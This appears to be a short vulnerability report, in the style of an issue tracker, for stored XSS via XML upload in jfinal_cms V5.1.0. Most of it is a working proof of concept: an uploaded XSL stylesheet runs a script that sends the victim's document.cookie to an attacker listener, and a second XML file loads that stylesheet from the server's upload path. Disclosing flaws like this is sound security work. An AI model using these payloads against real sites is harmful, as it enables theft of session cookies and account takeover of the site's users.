xml file upload to XSS vulnerability in jfinal_cms V5.1.0 #61
Description
The code allows uploading XML files by default.
After logging in, upload files in the blog posting section.
upload xml1
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body>
<script>location.href = "http://127.0.0.1:8089?cookie=" + document.cookie;</script>
</body></html>
</xsl:template>
</xsl:stylesheet>
upload xml2
<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl"
href="http://192.168.73.1:8081/jflyfox/bbs/ueditor/file/20250918/20250918_192947_989256.xml"?>
<test></test>
ask xml2 file,get cookie
